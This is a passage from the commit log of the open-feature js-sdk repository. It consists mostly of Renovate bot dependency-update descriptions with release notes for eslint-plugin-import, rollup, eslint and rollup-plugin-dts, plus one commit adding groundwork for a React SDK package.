(\[[#&#8203;2544](https://togithub.com/import-js/eslint-plugin-import/issues/2544)],
thanks \[[@&#8203;stropho](https://togithub.com/stropho)])
- \[`consistent-type-specifier-style`]: add rule
(\[[#&#8203;2473](https://togithub.com/import-js/eslint-plugin-import/issues/2473)],
thanks \[[@&#8203;bradzacher](https://togithub.com/bradzacher)])
- Add \[`no-empty-named-blocks`] rule
(\[[#&#8203;2568](https://togithub.com/import-js/eslint-plugin-import/issues/2568)],
thanks \[[@&#8203;guilhermelimak](https://togithub.com/guilhermelimak)])
- \[`prefer-default-export`]: add "target" option
(\[[#&#8203;2602](https://togithub.com/import-js/eslint-plugin-import/issues/2602)],
thanks \[[@&#8203;azyzz228](https://togithub.com/azyzz228)])
- \[`no-absolute-path`]: add fixer
(\[[#&#8203;2613](https://togithub.com/import-js/eslint-plugin-import/issues/2613)],
thanks \[[@&#8203;adipascu](https://togithub.com/adipascu)])
- \[`no-duplicates`]: support inline type import with `inlineTypeImport`
option
(\[[#&#8203;2475](https://togithub.com/import-js/eslint-plugin-import/issues/2475)],
thanks \[[@&#8203;snewcomer](https://togithub.com/snewcomer)])

##### Fixed

- \[`order`]: move nested imports closer to main import entry
(\[[#&#8203;2396](https://togithub.com/import-js/eslint-plugin-import/issues/2396)],
thanks \[[@&#8203;pri1311](https://togithub.com/pri1311)])
- \[`no-restricted-paths`]: fix an error message
(\[[#&#8203;2466](https://togithub.com/import-js/eslint-plugin-import/issues/2466)],
thanks \[[@&#8203;AdriAt360](https://togithub.com/AdriAt360)])
- \[`no-restricted-paths`]: use `Minimatch.match` instead of `minimatch`
to comply with Windows Native paths
(\[[#&#8203;2466](https://togithub.com/import-js/eslint-plugin-import/issues/2466)],
thanks \[[@&#8203;AdriAt360](https://togithub.com/AdriAt360)])
- \[`order`]: require with member expression could not be fixed if
alphabetize.order was used
(\[[#&#8203;2490](https://togithub.com/import-js/eslint-plugin-import/issues/2490)],
thanks \[[@&#8203;msvab](https://togithub.com/msvab)])
- \[`order`]: leave more space in rankings for consecutive path groups
(\[[#&#8203;2506](https://togithub.com/import-js/eslint-plugin-import/issues/2506)],
thanks \[[@&#8203;Pearce-Ropion](https://togithub.com/Pearce-Ropion)])
- \[`no-cycle`]: add ExportNamedDeclaration statements to dependencies
(\[[#&#8203;2511](https://togithub.com/import-js/eslint-plugin-import/issues/2511)],
thanks \[[@&#8203;BenoitZugmeyer](https://togithub.com/BenoitZugmeyer)])
- \[`dynamic-import-chunkname`]: prevent false report on a valid webpack
magic comment
(\[[#&#8203;2330](https://togithub.com/import-js/eslint-plugin-import/issues/2330)],
thanks \[[@&#8203;mhmadhamster](https://togithub.com/mhmadhamster)])
- \[`export`]: do not error on TS export overloads
(\[[#&#8203;1590](https://togithub.com/import-js/eslint-plugin-import/issues/1590)],
thanks \[[@&#8203;ljharb](https://togithub.com/ljharb)])
- \[`no-unresolved`], \[`extensions`]: ignore type only exports
(\[[#&#8203;2436](https://togithub.com/import-js/eslint-plugin-import/issues/2436)],
thanks \[[@&#8203;Lukas-Kullmann](https://togithub.com/Lukas-Kullmann)])
- `ExportMap`: add missing param to function
(\[[#&#8203;2589](https://togithub.com/import-js/eslint-plugin-import/issues/2589)],
thanks \[[@&#8203;Fdawgs](https://togithub.com/Fdawgs)])
- \[`no-unused-modules`]: `checkPkgFieldObject` filters boolean fields
from checks
(\[[#&#8203;2598](https://togithub.com/import-js/eslint-plugin-import/issues/2598)],
thanks \[[@&#8203;mpint](https://togithub.com/mpint)])
- \[`no-cycle`]: accept Flow `typeof` imports, just like `type`
(\[[#&#8203;2608](https://togithub.com/import-js/eslint-plugin-import/issues/2608)],
thanks \[[@&#8203;gnprice](https://togithub.com/gnprice)])
- \[`no-import-module-exports`]: avoid a false positive for import
variables
(\[[#&#8203;2315](https://togithub.com/import-js/eslint-plugin-import/issues/2315)],
thanks
\[[@&#8203;BarryThePenguin](https://togithub.com/BarryThePenguin)])

##### Changed

- \[Tests] \[`named`]: Run all TypeScript test
(\[[#&#8203;2427](https://togithub.com/import-js/eslint-plugin-import/issues/2427)],
thanks \[[@&#8203;ProdigySim](https://togithub.com/ProdigySim)])
- \[readme] note use of typescript in readme `import/extensions` section
(\[[#&#8203;2440](https://togithub.com/import-js/eslint-plugin-import/issues/2440)],
thanks
\[[@&#8203;OutdatedVersion](https://togithub.com/OutdatedVersion)])
- \[Docs] \[`order`]: use correct default value
(\[[#&#8203;2392](https://togithub.com/import-js/eslint-plugin-import/issues/2392)],
thanks \[[@&#8203;hyperupcall](https://togithub.com/hyperupcall)])
- \[meta] replace git.io link in comments with the original URL
(\[[#&#8203;2444](https://togithub.com/import-js/eslint-plugin-import/issues/2444)],
thanks \[[@&#8203;liby](https://togithub.com/liby)])
- \[Docs] remove global install in readme
(\[[#&#8203;2412](https://togithub.com/import-js/eslint-plugin-import/issues/2412)],
thanks \[[@&#8203;aladdin-add](https://togithub.com/aladdin-add)])
- \[readme] clarify `eslint-import-resolver-typescript` usage
(\[[#&#8203;2503](https://togithub.com/import-js/eslint-plugin-import/issues/2503)],
thanks \[[@&#8203;JounQin](https://togithub.com/JounQin)])
- \[Refactor] \[`no-cycle`]: Add per-run caching of traversed paths
(\[[#&#8203;2419](https://togithub.com/import-js/eslint-plugin-import/issues/2419)],
thanks \[[@&#8203;nokel81](https://togithub.com/nokel81)])
- \[Performance] `ExportMap`: add caching after parsing for an ambiguous
module
(\[[#&#8203;2531](https://togithub.com/import-js/eslint-plugin-import/issues/2531)],
thanks \[[@&#8203;stenin-nikita](https://togithub.com/stenin-nikita)])
- \[Docs] \[`no-useless-path-segments`]: fix paths
(\[[#&#8203;2424](https://togithub.com/import-js/eslint-plugin-import/issues/2424)],
thanks \[[@&#8203;s-h-a-d-o-w](https://togithub.com/s-h-a-d-o-w)])
- \[Tests] \[`no-cycle`]: add passing test cases
(\[[#&#8203;2438](https://togithub.com/import-js/eslint-plugin-import/issues/2438)],
thanks \[[@&#8203;georeith](https://togithub.com/georeith)])
- \[Refactor] \[`no-extraneous-dependencies`] improve performance using
cache
(\[[#&#8203;2374](https://togithub.com/import-js/eslint-plugin-import/issues/2374)],
thanks \[[@&#8203;meowtec](https://togithub.com/meowtec)])
- \[meta] `CONTRIBUTING.md`: mention inactive PRs
(\[[#&#8203;2546](https://togithub.com/import-js/eslint-plugin-import/issues/2546)],
thanks \[[@&#8203;stropho](https://togithub.com/stropho)])
- \[readme] make json for setting groups multiline
(\[[#&#8203;2570](https://togithub.com/import-js/eslint-plugin-import/issues/2570)],
thanks \[[@&#8203;bertyhell](https://togithub.com/bertyhell)])
- \[Tests] \[`no-restricted-paths`]: Tests for `import type` statements
(\[[#&#8203;2459](https://togithub.com/import-js/eslint-plugin-import/issues/2459)],
thanks \[[@&#8203;golergka](https://togithub.com/golergka)])
- \[Tests] \[`no-restricted-paths`]: fix one failing `import type` test
case, submitted by \[[@&#8203;golergka](https://togithub.com/golergka)],
thanks \[[@&#8203;azyzz228](https://togithub.com/azyzz228)]
- \[Docs] automate docs with eslint-doc-generator
(\[[#&#8203;2582](https://togithub.com/import-js/eslint-plugin-import/issues/2582)],
thanks \[[@&#8203;bmish](https://togithub.com/bmish)])
- \[readme] Increase clarity around typescript configuration
(\[[#&#8203;2588](https://togithub.com/import-js/eslint-plugin-import/issues/2588)],
thanks \[[@&#8203;Nfinished](https://togithub.com/Nfinished)])
- \[Docs] update `eslint-doc-generator` to v1.0.0
(\[[#&#8203;2605](https://togithub.com/import-js/eslint-plugin-import/issues/2605)],
thanks \[[@&#8203;bmish](https://togithub.com/bmish)])
- \[Perf] \[`no-cycle`], \[`no-internal-modules`],
\[`no-restricted-paths`]: use `anyOf` instead of `oneOf` (thanks
\[[@&#8203;ljharb](https://togithub.com/ljharb)],
\[[@&#8203;remcohaszing](https://togithub.com/remcohaszing)])

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjM2LjQzLjIiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-28 22:35:04 -04:00
renovate[bot] 72d472307c
chore(deps): update dependency rollup to v3.28.1 (#497)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://togithub.com/rollup/rollup)) | [`3.26.0` ->
`3.28.1`](https://renovatebot.com/diffs/npm/rollup/3.26.0/3.28.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/3.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/3.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/3.26.0/3.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/3.26.0/3.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v3.28.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3281)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.28.0...v3.28.1)

*2023-08-22*

##### Bug Fixes

- Ensure external files with relative import paths outside the target
are rendered correctly
([#&#8203;5099](https://togithub.com/rollup/rollup/issues/5099))

##### Pull Requests

- [#&#8203;5093](https://togithub.com/rollup/rollup/pull/5093):
chore(deps): update dependency eslint-config-prettier to v9
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5094](https://togithub.com/rollup/rollup/pull/5094):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5099](https://togithub.com/rollup/rollup/pull/5099): Fix
resolution of relative external files outside target directory
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;5101](https://togithub.com/rollup/rollup/pull/5101):
chore(deps): update dependency lint-staged to v14
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5102](https://togithub.com/rollup/rollup/pull/5102):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.28.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3280)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.27.2...v3.28.0)

*2023-08-09*

##### Features

- Add a new property `preliminaryFileName` to generated chunks
containing the file name placeholder
([#&#8203;5086](https://togithub.com/rollup/rollup/issues/5086))
- Improve performance of sourcemap generation by lazily decoding
mappings
([#&#8203;5087](https://togithub.com/rollup/rollup/issues/5087))

##### Bug Fixes

- Make the `code` property of rendered modules in the output readonly
([#&#8203;5091](https://togithub.com/rollup/rollup/issues/5091))

##### Pull Requests

- [#&#8203;5086](https://togithub.com/rollup/rollup/pull/5086): feat:
add `preliminaryFileName` to `OutputChunk`
([@&#8203;lsdsjy](https://togithub.com/lsdsjy))
- [#&#8203;5087](https://togithub.com/rollup/rollup/pull/5087):
perf(sourcemaps): add back lazy sourcemap decode and handling nullish
mappings ([@&#8203;thebanjomatic](https://togithub.com/thebanjomatic))
- [#&#8203;5091](https://togithub.com/rollup/rollup/pull/5091): fix: the
type of RenderedModule.code is readonly
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.27.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3272)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.27.1...v3.27.2)

*2023-08-04*

##### Bug Fixes

- Revert sourcemap performance improvement for now as it causes issues
with Vite
([#&#8203;5075](https://togithub.com/rollup/rollup/issues/5075))

##### Pull Requests

- [#&#8203;5075](https://togithub.com/rollup/rollup/pull/5075): Revert
perf(sourcemap): lazy compute decoded mappings
([@&#8203;thebanjomatic](https://togithub.com/thebanjomatic))

###
[`v3.27.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3271)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.27.0...v3.27.1)

*2023-08-03*

##### Bug Fixes

- Improve performance when generating sourcemaps
([#&#8203;5075](https://togithub.com/rollup/rollup/issues/5075))

##### Pull Requests

- [#&#8203;5075](https://togithub.com/rollup/rollup/pull/5075):
perf(sourcemap): lazy compute decoded mappings
([@&#8203;thebanjomatic](https://togithub.com/thebanjomatic))

###
[`v3.27.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3270)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.26.3...v3.27.0)

*2023-07-28*

##### Features

- Mark `Object.values` and `Object.entries` as pure if their argument
does not contain getters
([#&#8203;5072](https://togithub.com/rollup/rollup/issues/5072))

##### Pull Requests

- [#&#8203;5070](https://togithub.com/rollup/rollup/pull/5070):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5071](https://togithub.com/rollup/rollup/pull/5071):
docs(tutorial): change the .js extension to .mjs
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5072](https://togithub.com/rollup/rollup/pull/5072): Add
known globals ([@&#8203;sapphi-red](https://togithub.com/sapphi-red))
- [#&#8203;5078](https://togithub.com/rollup/rollup/pull/5078):
chore(deps): update dependency
[@&#8203;vue/eslint-config-prettier](https://togithub.com/vue/eslint-config-prettier)
to v8 ([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5079](https://togithub.com/rollup/rollup/pull/5079):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.26.3`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3263)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.26.2...v3.26.3)

*2023-07-17*

##### Bug Fixes

- Do not pass external modules to `manualChunks` to avoid breaking
existing configs
([#&#8203;5068](https://togithub.com/rollup/rollup/issues/5068))

##### Pull Requests

- [#&#8203;5056](https://togithub.com/rollup/rollup/pull/5056):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5059](https://togithub.com/rollup/rollup/pull/5059):
chore(config): migrate renovate config
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5064](https://togithub.com/rollup/rollup/pull/5064):
chore(deps): update dependency prettier to v3
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5065](https://togithub.com/rollup/rollup/pull/5065):
chore(deps): update typescript-eslint monorepo to v6 (major)
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5068](https://togithub.com/rollup/rollup/pull/5068): fix:
don't pass external modules to the manualChunks function
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.26.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3262)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.26.1...v3.26.2)

*2023-07-06*

##### Bug Fixes

- Improve error handling when manual chunks would contain external
modules ([#&#8203;5050](https://togithub.com/rollup/rollup/issues/5050))

##### Pull Requests

- [#&#8203;5050](https://togithub.com/rollup/rollup/pull/5050): fix:
improve error for manualChunks' modules that are resolved as an external
module ([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.26.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3261)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.26.0...v3.26.1)

*2023-07-05*

##### Bug Fixes

- Support `hasOwnProperty` as exported name in CommonJS
([#&#8203;5010](https://togithub.com/rollup/rollup/issues/5010))
- Properly reference browser types in package file
([#&#8203;5051](https://togithub.com/rollup/rollup/issues/5051))

##### Pull Requests

- [#&#8203;5010](https://togithub.com/rollup/rollup/pull/5010): safe
hasOwnProperty call
([@&#8203;LongTengDao](https://togithub.com/LongTengDao))
- [#&#8203;5051](https://togithub.com/rollup/rollup/pull/5051):
[@&#8203;rollup/browser](https://togithub.com/rollup/browser): fix types
export map entry ([@&#8203;developit](https://togithub.com/developit))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuNDMuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-28 22:32:39 -04:00
Todd Baert 4844e5eef6
feat: react sdk groundwork (#546)
This PR:

- adds all the necessary groundwork for a new react module in the
monorepo (packaging, release, CI, etc)
- adds a _very_ limited implementation based on work by @moredip , see
example in
[README](a9104c1ca2/packages/react/README.md)

Things to note:

- I've chosen NOT to bundle in the web-sdk directly into the react-sdk
(which I could have done). Instead, the web-sdk is a peer dependency.
Reasoning:
- NPM 16+ automatically downloads peer deps if missing, and otherwise
uses the available peer if compatible
- Providers "don't care" whether they are used by the web-sdk, or the
react-sdk, however, they all need a peerDependency on the web-sdk. If we
bundled the web-sdk into the react-sdk automatically, it would mean that
a consumer only using the react-sdk + some-web-provider would get a
"useless" copy of the web-sdk downloaded automatically. For that reason,
it's better to have the web-sdk as a peer, with the react SDK purely
building on to of that dep, not duplicating/embedding a bunch of its
code.
- the web-sdk objects are re-exported from the react-sdk, so consumers
only need to import from there.

relates to: https://github.com/open-feature/js-sdk/pull/546

📣 I want to make clear that this is not a final API, and I'd love
to continue discussion in the linked issue on how this could work. We
can merge this PR (and subsequent ones) without releasing so that people
can experiment locally with various APIs, via
[yalc](https://github.com/wclr/yalc) or `npm link`.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-08-23 09:23:26 -04:00
renovate[bot] f8c57b53d3
chore(deps): update dependency eslint to v8.47.0 (#542)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.45.0` ->
`8.47.0`](https://renovatebot.com/diffs/npm/eslint/8.45.0/8.47.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

### [`v8.47.0`](https://togithub.com/eslint/eslint/releases/tag/v8.47.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.46.0...v8.47.0)

#### Features

-
[`53d7508`](53d750800b)
feat: update regex for methods with `thisArg`
([#&#8203;17439](https://togithub.com/eslint/eslint/issues/17439))
(Francesco Trotta)

#### Bug Fixes

-
[`631648e`](631648ee0b)
fix: do not report on shadowed constructors in `no-new-wrappers`
([#&#8203;17447](https://togithub.com/eslint/eslint/issues/17447))
(Francesco Trotta)

#### Documentation

-
[`a766a48`](a766a48030)
docs: document lack of config file names
([#&#8203;17442](https://togithub.com/eslint/eslint/issues/17442))
(James)
-
[`a1635d6`](a1635d6198)
docs: Update README (GitHub Actions Bot)
-
[`47a0859`](47a0859796)
docs: update `require-unicode-regexp.md` as following up
[#&#8203;17402](https://togithub.com/eslint/eslint/issues/17402)
([#&#8203;17441](https://togithub.com/eslint/eslint/issues/17441))
(SUZUKI Sosuke)
-
[`fcdc85d`](fcdc85d3a6)
docs: Update README (GitHub Actions Bot)
-
[`2a92b6c`](2a92b6cc95)
docs: update with "Specifying Parser Options"
([#&#8203;17435](https://togithub.com/eslint/eslint/issues/17435))
(Cheol-Won)
-
[`d743ed3`](d743ed3c06)
docs: add metadata for parser/processor
([#&#8203;17438](https://togithub.com/eslint/eslint/issues/17438))
(Huáng Jùnliàng)
-
[`224376c`](224376cd99)
docs: Update README (GitHub Actions Bot)
-
[`a41a8e4`](a41a8e4a7d)
docs: update script names in README
([#&#8203;17432](https://togithub.com/eslint/eslint/issues/17432))
(Nitin Kumar)

#### Chores

-
[`bf69aa6`](bf69aa6408)
chore: Update dependencies
([#&#8203;17456](https://togithub.com/eslint/eslint/issues/17456))
(Nicholas C. Zakas)
-
[`0e45760`](0e4576012a)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`757bfe1`](757bfe1c35)
chore: Remove add-to-triage
([#&#8203;17450](https://togithub.com/eslint/eslint/issues/17450))
(Nicholas C. Zakas)
-
[`b066640`](b066640b70)
chore: standardize npm script names
([#&#8203;17431](https://togithub.com/eslint/eslint/issues/17431))
(Nitin Kumar)
-
[`6b2410f`](6b2410f911)
chore: Update add-to-triage.yml
([#&#8203;17444](https://togithub.com/eslint/eslint/issues/17444))
(Nicholas C. Zakas)

### [`v8.46.0`](https://togithub.com/eslint/eslint/releases/tag/v8.46.0)

[Compare
Source](https://togithub.com/eslint/eslint/compare/v8.45.0...v8.46.0)

#### Features

-
[`8a93438`](8a9343871f)
feat: `require-unicode-regexp` support `v` flag
([#&#8203;17402](https://togithub.com/eslint/eslint/issues/17402))
(SUZUKI Sosuke)
-
[`1a2f966`](1a2f966fab)
feat: `no-useless-escape` support `v` flag
([#&#8203;17420](https://togithub.com/eslint/eslint/issues/17420))
(Yosuke Ota)
-
[`ee68d1d`](ee68d1d963)
feat: `no-empty-character-class` support `v` flag
([#&#8203;17419](https://togithub.com/eslint/eslint/issues/17419))
(Milos Djermanovic)
-
[`853d32b`](853d32baa8)
feat: deprecate no-return-await
([#&#8203;17417](https://togithub.com/eslint/eslint/issues/17417))
(Carlos Lopez)
-
[`d4f02e4`](d4f02e4bf1)
feat: `no-control-regex` support `v` flag
([#&#8203;17405](https://togithub.com/eslint/eslint/issues/17405))
(Yosuke Ota)
-
[`2a35f3e`](2a35f3e6ed)
feat: `prefer-named-capture-group` support `v` flag
([#&#8203;17409](https://togithub.com/eslint/eslint/issues/17409))
(Yosuke Ota)
-
[`8ca8b50`](8ca8b50b04)
feat: Better error message for flat config plugins
([#&#8203;17399](https://togithub.com/eslint/eslint/issues/17399))
(Nicholas C. Zakas)
-
[`509f753`](509f753950)
feat: `no-misleading-character-class` support `v` flag
([#&#8203;17406](https://togithub.com/eslint/eslint/issues/17406))
(Yosuke Ota)
-
[`3caf514`](3caf51487d)
feat: `no-regex-spaces` support `v` flag
([#&#8203;17407](https://togithub.com/eslint/eslint/issues/17407))
(Yosuke Ota)
-
[`b7fad2b`](b7fad2b52f)
feat: `prefer-regex-literals` support `v` flag
([#&#8203;17410](https://togithub.com/eslint/eslint/issues/17410))
(Yosuke Ota)
-
[`a6a3ad4`](a6a3ad4ae4)
feat: `no-useless-backreference` support `v` flag
([#&#8203;17408](https://togithub.com/eslint/eslint/issues/17408))
(Yosuke Ota)
-
[`94954a7`](94954a7154)
feat: `no-invalid-regexp` support `v` flag
([#&#8203;17404](https://togithub.com/eslint/eslint/issues/17404))
(Yosuke Ota)
-
[`1af6eac`](1af6eac572)
feat: adds option for allowing empty object patterns as parameter
([#&#8203;17365](https://togithub.com/eslint/eslint/issues/17365))
(Tanuj Kanti)
-
[`cf03104`](cf03104b27)
feat: Improve config error messages
([#&#8203;17385](https://togithub.com/eslint/eslint/issues/17385))
(Nicholas C. Zakas)

#### Bug Fixes

-
[`9803c7c`](9803c7c040)
fix: FlatESLint#getRulesMetaForResults shouldn't throw on unknown rules
([#&#8203;17393](https://togithub.com/eslint/eslint/issues/17393))
(Milos Djermanovic)
-
[`42faa17`](42faa17b1c)
fix: Update no-loop-func to not overlap with no-undef
([#&#8203;17358](https://togithub.com/eslint/eslint/issues/17358)) (Matt
Wilkinson)

#### Documentation

-
[`4d474e3`](4d474e351b)
docs: update with TypeScript info
([#&#8203;17423](https://togithub.com/eslint/eslint/issues/17423))
(James)
-
[`091f44e`](091f44e4c7)
docs: File extension named processor deprecation
([#&#8203;17362](https://togithub.com/eslint/eslint/issues/17362)) (Matt
Wilkinson)
-
[`9254a6c`](9254a6cea8)
docs: Update README (GitHub Actions Bot)
-
[`6d6dc51`](6d6dc5141f)
docs: fix overlapping of `open in playground` button
([#&#8203;17403](https://togithub.com/eslint/eslint/issues/17403))
(Tanuj Kanti)
-
[`7fc3a2c`](7fc3a2ce68)
docs: Add private class features info to no-underscore-dangle
([#&#8203;17386](https://togithub.com/eslint/eslint/issues/17386)) (Matt
Wilkinson)
-
[`da73e58`](da73e583e1)
docs: Migrating `eslint-env` configuration comments
([#&#8203;17390](https://togithub.com/eslint/eslint/issues/17390))
(Francesco Trotta)
-
[`80dffed`](80dffed4c8)
docs: fix Ignoring Files section in config migration guide
([#&#8203;17392](https://togithub.com/eslint/eslint/issues/17392))
(Milos Djermanovic)
-
[`8a9abb7`](8a9abb7cf4)
docs: Update README (GitHub Actions Bot)
-
[`7e9be4b`](7e9be4bd73)
docs: Update README (GitHub Actions Bot)
-
[`0b0bbe0`](0b0bbe07d4)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`d1eb7e4`](d1eb7e46e9)
chore: Update ecosystem dependencies
([#&#8203;17427](https://togithub.com/eslint/eslint/issues/17427))
(Nicholas C. Zakas)
-
[`fab9e97`](fab9e97ef9)
chore: package.json update for eslint-config-eslint release (ESLint
Jenkins)
-
[`6246711`](6246711e06)
chore: package.json update for
[@&#8203;eslint/js](https://togithub.com/eslint/js) release (ESLint
Jenkins)
-
[`0aa0bc3`](0aa0bc365a)
chore: Add PRs to triage project
([#&#8203;17421](https://togithub.com/eslint/eslint/issues/17421))
(Nicholas C. Zakas)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi40My4yIiwidXBkYXRlZEluVmVyIjoiMzYuNDMuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-21 11:41:01 -04:00
renovate[bot] 8024700382
chore(deps): update dependency rollup-plugin-dts to v5.3.1 (#538)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup-plugin-dts](https://togithub.com/Swatinem/rollup-plugin-dts) |
[`5.3.0` ->
`5.3.1`](https://renovatebot.com/diffs/npm/rollup-plugin-dts/5.3.0/5.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup-plugin-dts/5.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup-plugin-dts/5.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup-plugin-dts/5.3.0/5.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup-plugin-dts/5.3.0/5.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>Swatinem/rollup-plugin-dts (rollup-plugin-dts)</summary>

###
[`v5.3.1`](https://togithub.com/Swatinem/rollup-plugin-dts/blob/HEAD/CHANGELOG.md#531)

[Compare
Source](https://togithub.com/Swatinem/rollup-plugin-dts/compare/v5.3.0...v5.3.1)

**Fixes**:

-   Export the plugin as a named `dts` export as well.
-   Export both `cjs` and `mjs` type definitions.

**Thank you**:

Features, fixes and improvements in this release have been contributed
by:

-   [@&#8203;spiltbeans](https://togithub.com/spiltbeans)
